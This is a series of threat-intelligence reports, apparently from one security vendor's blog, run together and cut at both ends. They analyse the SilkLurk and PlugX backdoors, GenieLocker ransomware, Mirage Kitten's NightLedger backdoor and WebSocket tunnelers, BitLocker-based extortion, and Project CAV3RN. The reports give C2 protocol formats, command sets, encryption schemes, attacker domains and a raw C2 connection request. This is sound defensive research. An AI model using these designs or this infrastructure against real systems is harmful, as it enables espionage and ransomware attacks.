Network key (will be used to encrypt and decrypt network traffic)
It then prepares a packet to send the key to the command‑and-control server, as shown in the table below. The packet contains a 0xC (12‑byte) header, a 0x28 (40‑byte) block of encrypted network‑key data (see the table above), and a randomly generated payload whose size ranges from 0x14 (20) to 0xB4 (180) bytes.
Encrypted network key data (as mentioned in above table)
0x34 (52)
size between 0x14 (20) and 0xB4 (180)
Random data bytes
After sending the key, the backdoor collects the following victim information: local computer name, DNS domain assigned to the local computer, user’s logon name, processor architecture, OS major version and build number, host IP address, current process ID, tick count value, and backdoor module name. The collected victim information is first compressed and then encrypted using the network key. The custom algorithm (a series of arithmetic and logical operations) used to encrypt collected victim information is different from the algorithms used to decrypt the configuration and encrypt the network key. Before sending the victim information, a 0x0F (15) byte header is generated and encrypted using the same custom algorithm used to encrypt the collected victim data. The header follows the format as shown in the table below.
Field offset
Field size (in bytes)
Field value
0x00 (00)
0x04 (04)
0xC7FFBE86 (magic dword)
0x04(04)
0x04 (04)
Message type (1 means victim information)
0x08 (08)
0x04 (04)
Data size (size of encrypted victim information)
0x0C (12)
0x01 (01)
Compression flag (1 means compressed)
0x0D (13)
0x02 (02)
Size of random bytes, between 0x14 and 0x96 bytes
Finally, the encrypted header and victim information are formatted as shown below and transmitted to the C2 server.
Once the backdoor has transmitted the victim information, it waits for a 0x13‑byte (19‑byte) response from the C2 server. This response follows the structure presented in the table below.
Field offset
Field size (in bytes)
Field value
0x00 (00)
0x04 (04)
Random dword
0x04 (04)
0x0F (15)
Encrypted header data
The encrypted header contained in the response is decrypted with the network key that was generated and shared with the C2 server. After decryption, the header retains the same size and structure as the one used in the victim information message.
The message type field in the header (offset 0x04) determines which operation (command) to perform. Next, the backdoor figures out the size of the command data to receive by adding up the size of the encrypted data (found at position 0x08 in the received header) and the size of the random bytes (found at position 0x0D in the received header). The received command data is first decompressed, based on the compression flag located at position 0x0D in the received header, and then decrypted using the custom algorithm that was used to encrypt the sent data. The backdoor supports the following commands:
Command (message type)
Description
03
Based on subcommand, perform the following operations:
00: Get target system’s local time
01: Set sleep time in milliseconds, after which to reconnect to the C2 server
04
Send current backdoor configuration
05
Update backdoor configuration
06
Receive and inject additional payloads (plugins) into memory. Based the on subcommand, perform the following operations:
01: Inject payload (plugin) bytes into memory and execute payload’s entry point
03: Call export method of injected plugin
Post-compromise activity
The threat actor operating the SilkLurk backdoor first used it to invoke cmd.exe to launch PowerShell. Within PowerShell, they ran commands such as net use to connect to shared network resources with administrative credentials. After establishing the connection, they searched the shared drives for confidential documents to exfiltrate. Once the search was complete, they disconnected from the network share to erase evidence of which internal servers had been accessed. To archive the stolen data, they employed legitimate archiving tools: WinRAR and 7‑Zip.
Below are the paths and names of the WinRAR and 7Zip binaries used by the attackers.
The SilkLurk backdoor opened a command shell (cmd.exe). Using this shell, the attacker executed the file C:\ProgramData\microsoft\html help\kmsonline.exe (MD5: 3c9a1ba8e0c7475706adc6376e9d7b7c). The kmsonline.exe binary acted as a dropper for the PlugX malware, deploying the malicious files listed below.
Our Kaspersky Threat Attribution Engine (KTAE) also identified a strong degree of similarity between kmsonline.exe (MD5: 3c9a1ba8e0c7475706adc6376e9d7b7c) and PlugX.
PlugX was configured to communicate with the C2 domain gycudore[.]kozow[.]com and the IP address 64[.]7[.]198[.]130. Below are the extracted configuration fields from PlugX.
Config field name
Value
Injection Target Process
%SystemRoot%\system32\svchost.exe
Home Directory
%ALLUSERSPROFILE%\Symantec
Persistence Name
SymantecRAS
Service Display Name
SymantecRAS
Service Description
Symantec RAS Services
Campaign ID
KG_MFA
Infrastructure
The threat infrastructure relies on VPS servers. Some OctLurk and LurkProxy C2 addresses are referenced in a public report by Kazakhstan’s State Technical Service (STS) company. According to available data, a campaign targeting critical infrastructure in Kazakhstan was discovered in March 2025. During this campaign, attackers employed the TrustFall (STS internal designation) remote access malware, also known as MystRodX (Qianxin) and SilentRaid (Cisco) and designed for Linux-based operating systems. Subsequently, in October 2025, STS researchers found additional TrustFall samples, while also discovering its new C2 servers via active probing. Notably, three observed TrustFall C2 addresses were also leveraged by OctLurk and LurkProxy. This overlap points to shared infrastructure across multiple OS-targeting campaigns, though it remains unclear whether these activities ran concurrently or at different times.
Attribution
We identified multiple artifacts confirming that OctLurk and SilkLurk are operated by the same threat actor. Several users infected with OctLurk were also found to be infected with SilkLurk, and in some cases both malware families used the same staging directory. Below are examples of these artifacts.
In one incident, the attackers created the service C:\Windows\system32\svchost.exe -k ExAstSrc -s ExAstSrc to deploy OctLurk. They used OctLurk to obtain a command shell and were observed dropping the SilkLurk loader vulkan-1.dll (MD5 be4731c09734da2e8eb6814a9c82f266) via this shell, as shown below.
In another incident, we observed attackers using the same directory C:\ProgramData\intel\ to drop both the OctLurk and SilkLurk loader DLLs.
In one incident, the attacker used SilkLurk to obtain a command shell (cmd.exe) and then deployed and executed the PlugX malware. The PlugX sample was configured to contact gycudore[.]kozow[.]com as its command‑and‑control (C2) server, while the SilkLurk backdoor used ctyuhjerf[.]kozow[.]com for C2. PlugX is a well‑known modular remote‑access Trojan (RAT) that has been active since at least 2008 and historically linked to Chinese-speaking threat actors. This suggests that both OctLurk and SilkLurk were also developed and operated by a Chinese‑speaking actor, although at this time, we cannot attribute this activity to a known threat group.
Conclusions
The emergence of the OctLurk and SilkLurk multi‑plugin malware framework highlights how threat actors continuously refine their tactics to evade detection and maintain control over compromised networks. Both families operate primarily in memory, leaving only a minimalistic loader on disk that relies on machine‑specific data (OctLurk uses the drive serial number, and SilkLurk uses the computer name) to decode payload locations and contents. This victim‑specific encoding makes reverse engineering and automated detection considerably harder.
In addition to sophisticated obfuscation, the attackers establish redundant access channels, harvest credentials, and deploy well‑known remote access and monitoring tools. These secondary pathways ensure persistence even if the original infection vector is discovered or neutralized.
The new GenieLocker ransomware family has been active since March 2026. It has been used in attacks against organizations in the Russian Federation, primarily in the manufacturing sector, and attributed to the Toy Ghouls group by open-source intelligence (link in Russian).
The Toy Ghouls, also known as Bearlyfy, Labubu and Laboo.boo, is a financially motivated extortion group, which previously relied on third-party encryption Trojans like RedAlert, LockBit, and Babuk. GenieLocker, apparently a custom design, upgrades their toolkit and reduces their reliance on third-party software. We discovered multiple samples of this Trojan in two variants: PE builds for Windows and ELF builds for Linux and ESXi.
Technical details
Modus operandi
We described typical TTPs and modus operandi of the Toy Ghouls threat actor in the previous post (link in Russian).
In this article, we aim to thoroughly describe the capabilities of Windows and Linux builds of the custom encryption Trojan GenieLocker. To give more context, we will also provide a brief overview of the attack that took place at the end of March 2026, where GenieLocker was deployed on the victim’s systems.
Initial Access
During the incident, the attackers first entered the environment through an OpenVPN connection originating from an external partner’s network. They likely exploited the trusted relationship with that partner and used stolen, yet still valid, credentials to connect.
Discovery and Credential Access
After breaching the target’s network, the attackers installed additional tools on the compromised hosts, including OpenSSH, socks5.exe, SoftPerfect Network Scanner, and Mimikatz. They employed SoftPerfect Network Scanner for discovery and used Mimikatz to dump credentials. Forensic analysis also shows that they accessed the KeePassXC password manager already installed on several compromised machines, likely attempting to extract the stored credentials from the KeePass databases.
Lateral Movement and Command and Control
Lateral movement was performed by using RDP to reach Windows machines and SSH for Linux servers. The widespread deployment of the encryption Trojan was conducted with the legitimate utilities PsExec and PAExec. Additionally, the attackers established a reverse SSH tunnel to communicate with their command‑and‑control server.
Impact
During the impact phase, the attackers encrypted files on the compromised Windows machines with the PE version of the GenieLocker ransomware. On the compromised Linux and ESXi servers, they stopped active virtual machines and encrypted their disks using the ELF version of GenieLocker.
The tactics, techniques, and procedures seen here match those documented in earlier attacks attributed to the Toy Ghouls group. As in those prior incidents, forensic analysis found no evidence of data exfiltration, which is typical behavior for this threat actor. Toy Ghouls have not employed a double‑extortion model and do not run a data‑leak website.
Encryption Trojan for Windows
The Windows version of GenieLocker (MD5: 5d62c1349b8981c396c9a23f4f8f053c) is primarily written in C, but compiled with the C++ libraries using Microsoft Visual C/C++. The malware incorporates several ransom‑related capabilities, including process termination, service shutdown, debugger evasion, and a sophisticated encryption routine. For its cryptographic operations, it relies on the open‑source libsodium library.
Aligned with the recent trend supported by our expertise, as observed in attacks of some other ransomware strains, GenieLocker doesn’t save the ransom notes on the victim’s system. The Trojan doesn’t contain any attackers’ contact info or negotiation addresses. Instead, the attackers will need to deliver the ransom demands and contacts manually during the attack. This approach may be an attempt by the GenieLocker developers to avoid proactive detection of the ransomware process being triggered by the creation of multiple readme files.
GenieLocker help message
Arguments and launch
GenieLocker supports multiple arguments for configuring its behavior.
Argument
Description
First argument
“Secret” argument, hex string value
-p, –percent N
Percentage of file content to encrypt
-r, –recursive
Process directories recursively
-l, –log <filename>
Set path for log file
-h, –help
Show help message
Last argument
Path to encrypt
GenieLocker expects the first argument to be a hex string referred to in the malware code as the “secret argument”, which is required for the ransomware to start. Most likely, the purpose of this is to avoid execution on sandboxes and other automated analysis environments. Another reason may be to prevent unauthorized usage by other threat actors.
Checking the secret argument
The secret argument is a hex value with a variable size that does not exceed 4096 bytes. This hex string value is converted to bytes and hashed with the SHA‑256 algorithm. The result is compared to a hardcoded value. If they match, the literal string session is appended to the secret value, and the whole string is hashed with BLAKE2b‑256, but the resulting hash is never used. This may be a part of a feature still in development.
Secret value hashing
Anti-debugging
GenieLocker contains multiple methods to inspect if its process is under debugging. After launch it makes the first check named Environment check and uses WinAPI functions IsDebuggerPresent and CheckRemoteDebuggerPresent to detect the debugger.
Environment check
After the secret argument validation, GenieLocker starts a new parallel thread called watchdog. It runs in an infinite loop that performs a number of checks to detect well-known debuggers every 500 milliseconds. If at least one of the checks fails, the whole GenieLocker process immediately terminates.
Watchdog checks
The only thing worth elaborating on is that the GenieLocker process calculates the CRC32 of its .text section when the watchdog thread is starting, saves the resulting hash, and then recalculates it again in every loop and compares with the initial value. In case the code in this section is modified by the debugger or other program, this method allows the Trojan to detect this modification.
Preparing for encryption
GenieLocker contains multiple exclusion lists. For example, it does not encrypt folders with names from the list below. Among those, there are mostly system folders, which are skipped to avoid corrupting the OS.
Furthermore, the Trojan contains an exclusion list for host names. The malware retrieves the computer name using GetComputerNameA and checks it against this list, but in the sample in question, the list is empty.
Output for whitelisted hosts
If the host name is not excluded, GenieLocker starts to kill processes that could be using the files of interest and therefore prevent the Trojan from encrypting them. These processes are listed below. The Trojan stops them by using the TerminateProcess function.
Finally, GenieLocker starts encryption threads and searches for all available drives, including network shares, to encrypt them.
Threads info output
File encryption and cryptography
The extension for the encrypted files is hardcoded in the Trojan’s body. In the sample under review, it is .03ffc1c4a3da0f02. Before starting to encrypt each file, GenieLocker creates two auxiliary files:
a lock file: <filename.fileext>.03ffc1c4a3da0f02.lock
a journal: <fileext>.03ffc1c4a3da0f02.journal
The lock file helps to protect files from double encryption by other threads or instances. Inside this file, the Trojan stores the current PID obtained from the GetCurrentProcessId function.
The journal file contains the hardcoded string VCJOURN, value 1 (possibly version), some unused zeroed fields, total blocks to encrypt, and the count of blocks that are actually encrypted. The last field is a CRC32 hash sum for the integrity check of the journal content.
Journal content
By default GenieLocker encrypts files using 0x1000000-byte chunks. If the argument -p is passed (it sets the percentage of the file contents to be encrypted), the ransomware calculates how many chunks with 0x1000000 size are necessary to encrypt the specified percentage. Each chunk has a random position inside the file. Regardless of whether the percentage is set, even if it is zero, the first chunk in the beginning of the file will be encrypted anyway.
The Trojan encrypts the file content using the Authenticated Encryption with Associated Data (AEAD) algorithm XChaCha20-Poly1305, with a unique key and nonce for each file. The Trojan also adds a footer that contains the data necessary for future decryption and metadata. The metadata parts are encrypted using the same cipher and key as the file contents, but with a different nonce. The file key is encrypted using the Curve25519-XSalsa20-Poly1305 scheme, with the attackers’ master public key hardcoded in the Trojan’s body.
The metadata of each encrypted file contains the following fields.
Value or name
Size (bytes)
Description
version
1
Hardcoded byte with value 1, most likely the version.
encryption_percent
1
Percentage of file content to encrypt, value from -p argument.
file_nonce
24
Nonce used during encryption of the file content.
original_filesize
8
Original size of the file before encryption.
total_chunk_count
8
Max count of chunks inside the current file.
chunk_size
4
Size of a single encrypted chunk (by default, 0x1000000 bytes on Windows and 0x400000 on ESXi and Linux).
remain_size
4
The number of bytes remaining after splitting the file content into chunks.
blake2b_digest_of_chunks
32
BLAKE2b-256 hash calculated from the original data of all chunks before they are encrypted. Used for integrity checks.
chunk_count
4
Number of chunks that were encrypted.
extension
64
A string with the additional ransomware extension.
poly1305_tags (array)
16 bytes per chunk
Array of Poly1305 tags of encrypted chunks.
bitmask
varies, one bit per each chunk
Chunks bitmask; if set, the chunk is encrypted; otherwise, it is not.
The chunks bitmask contains as many bits as the maximum number of chunks inside a file at 100%. If a bit at a specific index is set to 1, the chunk is encrypted. The value 0 means that the chunk is not encrypted. Since the Trojan encrypts files based on the percentage value, it needs to know which chunks were encrypted.
Metadata structure at the end of an encrypted file (without a Poly1305 tags array or bitmask)
Encryption Trojan for ESXi and Linux
Compared with its Windows counterpart, the Linux and ESXi version of GenieLocker (MD5: 9201e35e2993612612919a3c71302cab) is simpler: there is no secret argument, anti‑debugging techniques, or exclusion lists. However, the sample has ESXi-specific features, such as double‑fork support and the ability to modify the Welcome Message. The sample has the version v1 and, similarly to the Windows version, uses the libsodium library for cryptography.
ESXi version description
The command‑line help output mirrors LockBit’s styling, reinforcing the theory that GenieLocker’s creators set out to craft a LockBit‑style replacement for their own operations.
LockBit output design, possibly the source layout for the GenieLocker ESXi variant
Based on the default path of the encryption directory /vmfs/volumes, we can assume that this version is intended primarily for ESXi. Nonetheless, it can still be executed on Linux distributions.
Argument
Description
-p <perc>
Percentage of file content to encrypt
-j <workers>
Number of encryption threads
-r <dir>
Process directories recursively
-w <sec>
Delay before start
-d
Daemonizing the process
-l <logfile>
Path to log file
ESXi and Linux features
This build allows daemonizing its process with the -d flag, employing the classic double‑fork method so the new process becomes fully detached from its parent.
This variant also modifies the /etc/vmware/welcome file, which contains the Welcome Message (Message of the Day) on the ESXi operating system. On Linux distributions, it does not change anything, because they use different paths for the Message of the Day. In the GenieLocker sample examined here, the message is left empty.
Additionally, the ESXi version supports a few basic features that are not included in the Windows version. For instance, there is a launch‑delay option and the ability to set the number of encryption worker threads. This build also includes several features that already exist in the Windows variant, such as configuring the percentage of a file to encrypt, choosing the target directory, and setting the log file location.
File encryption
The encryption scheme for files is identical to the Windows version. The Trojan uses XChaCha20-Poly1305 to encrypt the file content and metadata, and Curve25519-XSalsa20-Poly1305 for key encryption.
File encryption summary
Victims
According to KSN telemetry, GenieLocker detections are overwhelmingly concentrated on endpoints located in the Russian Federation. In the March 2026 campaign, the primary sector under siege was manufacturing, with construction trailing closely, followed by financial services, retail, and technology.
Conclusions
Toy Ghouls are ramping up their campaign against Russian enterprises. The rollout of their home‑grown encryption Trojan GenieLocker marks a major upgrade to the group’s ransomware toolkit. By engineering bespoke ransomware that runs natively on Windows, Linux, and ESXi, the actor has cut their dependence on off‑the‑shelf ransomware families and unified the cryptographic backbone across all targeted platforms.
Kaspersky’s products detect this malware as Trojan-Ransom.Win64.Agent.genie, HEUR:TrojanRansom.Win64.Generic, Trojan-Ransom.Linux.Agent.genie.
Mirage Kitten – also known as UNC1549, Smoke Sandstorm, and Nimbus Manticore – is an advanced persistent threat (APT) group focused on cyber-espionage operations against aerospace, aviation, defense, and telecommunications sectors across the Middle East and Africa, using highly targeted spear-phishing campaigns, fake recruitment portals, and custom multi-stage malware to gain persistent access and exfiltrate sensitive data.
During recent threat research, we identified a previously undocumented malware set developed and used by Mirage Kitten. The toolset includes NightLedger, a new Windows backdoor for reconnaissance, command execution, file operations, process discovery, and screenshot capture; and two custom WebSocket-based tunnelers, ArcBridge and BridgeHead, for covert network access and operator-controlled tunneling.
Technical details
Although the initial access vector remains unclear for most malware samples observed in this activity, we saw BridgeHead being deployed during post-exploitation activities in victim environments in Egypt and at a Pakistan-based aerospace and aviation organization. The deployment followed targeted spear-phishing activity consistent with tradecraft we recently documented as part of our private threat intelligence reporting service and publicly reported by Unit 42 and Check Point Research, including the use of highly tailored social engineering lures against selected targets. These lures included recruitment-themed content impersonating trusted brands and hiring platforms, as well as lookalike videoconferencing pages that redirected victims to malicious archives hosted on third-party file-sharing services.
NightLedger backdoor
NightLedger is a recently identified Windows backdoor that we attribute to Mirage Kitten based on code and behavioral similarities to the historical implants developed and used by the group. The implant masquerades as SspiCli.dll and appears to be designed for DLL search-order hijacking, targeting a legitimate AppVShNotify.exe binary. While AppVShNotify.exe does not directly import SspiCli.dll, it imports RPCRT4.dll, which can delay-load SspiCli.dll when it invokes an RPC API that requires authentication. This allows a co-located malicious SspiCli.dll to be loaded while forwarding expected exports to the legitimate DLL.
When started, the malicious DLL creates the mutex A8215357-F99A-44FE-BC65-D8F0434B0C03 to enforce a single running instance. If the mutex already exists, it exits immediately.
NightLedger periodically contacts its C2 over HTTPS, issuing an HTTP GET request to the /edfcvfgbhnjmkqwasderfgg endpoint at the realhealthshop[.]com domain, and uses tjconsultingservices[.]com as a fallback C2.
When a valid C2 response is received, the implant tokenizes the payload using the custom delimiter (#%%#) and passes the parsed fields to its command dispatcher. From a development standpoint, this is similar to TWOSTROKE, a backdoor attributed to the same APT and previously documented by GTIG, whose C2 response is hex-encoded and uses (@##@) as a field separator.
NightLedger supports the following commands:
Command ID
Description
1
Gather user and host identity information
3
Execute a process/program
17
List directories
20
Download a file to the infected system
25
Gather host and network information
27
Copy a file
30
Update beacon interval
36
Take a screenshot
43
Load a DLL
56
Kill a process
62
Delete a file
69
Terminate thread
70
Upload file to C2 server via POST request to /qasxcdfvgbhnmyuioplkhnj
75
Enumerate logical drives
90
List processes
93
Collect C:\Windows\debug\NetSetup.log together with process-list output.
NetSetup.log is a Windows diagnostic log generated under C:\Windows\debug\ during domain/workgroup join, unjoin, and related network setup operations.
Command output is returned to the C2 via an HTTP POST request to /wsdefvvbnhyuijkplmbgfrtt.
BridgeHead – a WebSocket tunneler
During our investigation, we encountered a tunnel proxy deployed as unbcl.dll in the %LocalAppData%\Microsoft\VisualStudio directory on a machine in Egypt. We also identified a similar deployment in a Pakistan-based environment, where the tunneling tool was stored as C:\program files (x86)\univpn\promote\libwinpthread-1.dll. The malware dynamically loads advapi32.dll, resolves GetUserNameA, retrieves the current Windows username, converts it to lowercase, and searches for a specific substring in it. This behavior suggests prior reconnaissance was performed within the internal network and the username check is needed to make sure it runs on a specific machine. This is potentially intended to prevent execution of the standalone malware sample inside virtual analysis systems. If the substring is not found, the function returns silently without activating.
If the username check was successful, the tunneler establishes an HTTPS WebSocket connection as follows:
GET /connect HTTP/1.1
Host: smartconnect.azurewebsites.net
Upgrade: websocket
Connection: Upgrade
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38
The server responds with HTTP 101 (Switching Protocols) to complete the WebSocket upgrade. After the upgrade, the client sends a binary WebSocket message containing the literal string "token" as authentication. The server must respond within 10 seconds, or the connection is dropped and retried with exponential backoff.
The malware’s next action depends on the HTTP response returned by the server:
HTTP response
Description
407 (Proxy Auth Required)
Queries supported auth schemes via WinHttpQueryAuthSchemes, selects Negotiate (0x10) or NTLM (0x2) in that exact order, sets Windows SSO credentials (null username/password), retries up to 3 times.
101 (Switching Protocols)
Success. Proceeds to WebSocket upgrade and authentication.
Other
Connection failed. Closes all handles, enters backoff.
This implementation closely mirrors the enterprise proxy traversal logic seen in the backdoor we track internally as Retrograde, which overlaps with tooling publicly reported as MiniFast/MiniUpdate, attributed to the same APT group. The implant is designed to operate through corporate proxy environments by handling HTTP 407 responses, negotiating Windows-integrated proxy authentication with Negotiate preferred over NTLM, retrying with the current user’s SSO context, and falling back to exponential C2 connection retry logic capped at 60 seconds.
Once the WebSocket channel is established and authenticated, the implant functions as a full SOCKS5 tunnel proxy. The C2 server initiates all tunnel connections by sending binary commands over the WebSocket; the implant simply forwards traffic between server‑specified targets and the WebSocket channel. This makes it a relay node: the operator runs tools server‑side, and all resulting TCP traffic is tunneled through the victim’s machine as if originating from the victim’s network.
All tunnel communication uses a fixed binary wire format:
Offset
Size
Field
Encoding
0
1
type
Message type (1–9)
1
4
connId
Tunnel connection identifier
5
1
flags
Status or error indicator
6
2
dataLen
Payload length
8
var
payload
Message data
Every message is at least 8 bytes. Seven message types are actively used:
Type
Name
Direction
Description
1
CONNECT
Server -> Client
Open a new TCP tunnel to a SOCKS5 target address
2
CONNECT_RESPONSE
Client -> Server
Confirm the connection was established
3
DATA
Bidirectional
Relay TCP traffic through the tunnel
4
DISCONNECT
Bidirectional
Close a tunnel connection
5
PING
Bidirectional
Keepalive probe, sent every 30 seconds by timer
6
PONG
Bidirectional
Keepalive reply
9
FLOWCTRL
Bidirectional
Throttle data flow to prevent buffer overrun
The CONNECT payload specifies where the implant should open a TCP connection. The target address is encoded in SOCKS5 format and consists of a single type byte, followed by the address and a 2-byte destination port:
Type byte
Description
0x01
IPv4 address (4 bytes)
0x03
Domain name (1-byte length + string)
0x04
IPv6 address (16 bytes)
Notably, in the process of threat hunting, we detected another variant (MD5: C832ECD135781B11F59E3FFFB3D2B6AC) that shares the same dynamic-resolve stub pattern. This variant communicates with businessmixture.com/blog over WSS on port 443, and not through Microsoft Azure. Still, it implements the same technique of limiting execution to a specific username on the infected machine by hardcoding a 3-character control value that must appear as a substring in the lowercased Windows username retrieved via GetUserNameA. If the match fails, the implant silently exits, confirming per-target tailoring of each deployed binary.
ArcBridge: another WebSocket tunneling tool
ArcBridge is another WebSocket tunneling tool developed and used by Mirage Kitten. We first identified it in April 2026 in activity targeting victims in the Middle East. The malware creates a mutex named F56E68DA-4A89-46B4-9AC8-7290A7651000 to enforce single-instance execution. The use of a UUID-like mutex name is consistent with the NightLedger backdoor described earlier.
The malware contains an embedded configuration block that stores the C2 host, C2 port, retry or timeout value, SSL flag, and what is highly likely an implant identifier:
After initialization, ArcBridge communicates over a WebSocket-style channel and waits for server-side control messages. It supports the following commands:
Command
Description
OPEN:
Creates a proxy/tunnel session to a target selected by the operator.
DNS:
Performs hostname or address resolution and returns the result.
Victimology
According to our telemetry, we identified victims across Middle East and African countries including Egypt, SMB and government environments in Jordan and Tanzania, aviation organizations in Pakistan, telecommunication companies in Ethiopia and financial-sector entities in Burkina Faso.
Conclusion
Mirage Kitten continues to evolve its malware arsenal to support targeted cyber-espionage operations across the Middle East and Africa regions. The NightLedger backdoor retains similar core command functionality to TWOSTROKE while introducing additional capabilities, including screenshot capture and collection of the NetSetup.log file.
Another notable aspect of the campaign is the group’s continued reliance on tunneling utilities as part of its operational toolkit. This aligns with previous public reporting, which documented the group’s use of the LIGHTRAIL and POLLBLEND tunnelers. Consistent with this tradecraft, we observed Mirage Kitten continuing to leverage tunneling capabilities alongside a gradual shift away from Microsoft Azure subdomain-style infrastructure in favor of Cloudflare-backed domains in some of its malware, a change likely intended to complicate attribution while maintaining resilient command-and-control communications.
Recently, our teams in Latin America investigated a series of incidents involving misconfiguration, the deployment of BitLocker, and the exploitation of corporate printers. Attackers used the devices to notify organizations that their infrastructure had been compromised and they had to pay a ransom to recover their data.
This article analyzes two incidents that occurred in June in Colombia and in May in Mexico. We highlight the similarities in the attackers’ communications and outline emerging trends in ransom amounts.
Initial sign of an attack
In both cases, the affected users initially noticed a padlock icon next to their drives in Windows Explorer. This indicated that the drive was encrypted with BitLocker, blocking access to its contents.
Drive icon indicating that the drive is locked
A recovery key was required to unlock the drive.
Attempt to access the disk’s contents and the prompt for the BitLocker recovery key
This is not the first time we have seen such threats; a few years ago, our team discovered a threat known as ShrinkLocker, which utilized BitLocker to achieve its goals.
First case: abusing RDP to encrypt data
One of the incidents occurred in Colombia in June. The attackers exploited an internet-exposed RDP service on a machine connected to an 8 TB storage device containing mission-critical data. After taking control of the system and manipulating user credentials, the attackers enabled BitLocker exclusively on the drive that primarily stored financial data. Once the encryption was complete, they locked the drive and used the company’s printers to produce ransom notes.
Ransomware note
Unfortunately, it was not possible to obtain evidence in the case due to the company’s rush to restore the encrypted disk. The communication with the attackers revealed a demand for just $3,000, and the company considered paying the ransom. After that, the system was restored before the forensic team could take any action, eliminating the evidence needed to assess the incident.
Attacker’s reply to the victim’s email sent to the address in the printed ransom note
This attack was made possible by an internet-facing remote desktop service (RDP) with additional open ports, which employees used to access corporate information. By exploiting this network exposure and misconfiguration, attackers breached the system, identified an additional drive, and leveraged BitLocker to encrypt the data and demand a ransom payment. Leaving RDP ports open without proper security controls jeopardizes the security of systems and information, as highlighted in the our “Global Report: Anatomy of a Cyber World“.
Exposed ports identified in the system in recent months
The company confirmed that, due to compatibility issues with applications required for operation, EPP (Endpoint Protection Platform) protection was disabled on the system, making it easier for attackers to validate, enumerate, and execute applications without revealing malicious activity to central monitoring systems.
Second case: meet the XEntry Team
In another incident, which occurred in Mexico in May, our team identified how the threat actor gained initial access to the infrastructure. They exploited a misconfigured MSSQL service. This allowed them to execute commands on the system after obtaining the database login credentials from code insecurely published on GitHub.
XEntry team attack
In this incident, the attack began three months prior to detection, with the intruder discovering and verifying their access to the environment. After confirming their access and privilege level within the MSSQL server settings, which extended beyond the DBMS to the underlying operating system, the attackers initially focused on manipulating certain aspects of the web server configuration on the same system. They lowered the server’s security settings and created web shell files in the publicly accessible folders. Many of these attempts to manipulate the service or create malicious files were contained by existing EPP security controls, but despite the alerts, the necessary investigation to address the activity was not conducted.
Commands executed when attempting to manipulate the web server
The attackers subsequently confirmed their ability to execute commands locally and set up their attack infrastructure to transmit data via a communications bridge. By exploiting the MSSQL service, they gained access to each of the organization’s internal systems.
The database engine used by the company was Microsoft SQL Server 2019.0150.2160.04, misconfigured to allow operating system сommand execution via the xp_cmdshell extended stored procedure.
Due to this misconfiguration of an internet-exposed service, the attackers established a channel capable of executing any type of command directed at the server and the local infrastructure within its scope.
Attack path
One of the main objectives was to identify shared systems and resources that provided access to critical information. Our analysis confirmed the attackers’ access to systems storing configuration parameters for networking, enterprise management, and cloud services, among others.
A subset of the critical information identified and collected by the attackers
In early May, the attackers focused on running additional scans and deploying ManageEngine’s Endpoint Central RMM (Remote Monitoring and Management) to establish persistence and begin the final stages of their intrusion.
Scanning and RMM deployment
Further RMM-type applications, such as Mesh Agent and Tactical RMM, were installed in the days that followed. These were used to deploy scheduled tasks responsible for enabling the BitLocker service and individually encrypting the infrastructure’s disks, generating a key for each encrypted system.
Commands executed through RMM tools to collect Bitlocker keys
Finally, in mid-May, the attackers managed to execute a Group Policy Object (GPO) used to deploy activation and encryption tasks, as well as other policies responsible for continued deployment of RMM applications via scheduled tasks. The activity initially targeted critical systems but later spread to every system synchronized with the domain controller. Users became aware of the attack when their machines displayed a blue screen with the message “Hacked by XEntry Team”, and their credentials stopped working to access their systems.
A few hours later, ransom notes began emerging from office printers.
Ransom note printed by the XEntry team
These cases confirm that adversary’s objective is to gain access to infrastructure while avoiding investment in or partnership with ransomware groups. Instead, they leverage built-in Microsoft tools to facilitate data encryption and ransom payments. Monitoring and centralizing logs on protected resources, as well as promptly managing alerts, are critical to countering this type of intrusion.
Conclusions
Although the systems under review had security measures in place, there was a lack of proper alert management or inadequate decisions regarding application incompatibilities.
We strongly recommend configuring the Remote Desktop Protocol (RDP) in strict accordance with cybersecurity best practices to prevent unauthorized access. This is especially critical: according to our Global Report: Anatomy of a Cyber World, more than 13% of incidents are related to policy violations and configuration errors, confirming that misconfigurations continue to pose a significant risk.
Organizations should prioritize strict application control policies and active monitoring of network traffic for command-and-control (C2) communications. This is especially critical: according to the same report, more than 20% of incidents involved the abuse of RMM (Remote Monitoring and Management) tools for execution and C2 strategies. The fact that attackers used more than three distinct tools to gain control during a single incident further underscores the urgent need for these measures.
Some questions remain unanswered due to a lack of evidence and a hasty system restoration effort that bypassed critical stages of the incident response process. It is important to ensure an adequate incident response procedure, preserving evidence to confirm all related activities, and adjusting or proposing controls to prevent future incidents involving similar TTPs.
Although the ransom notes do not reveal a clear connection between the actors, certain words used in the messages, as well as the method of delivery and communication, may confirm a link:
“As a guarantee, we have no negative online reviews about non-fulfillment of our obligations…” (Ransom note from the first case)
“Our reputation is the guarantee that all content will be fulfilled…” (Ransom note from the second case)
In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026, we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.
Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.
Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.
Module network communication architecture
During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.
Technical details
The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.
Project CAV3RN architecture (April 2026)
The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.
C2 communication module
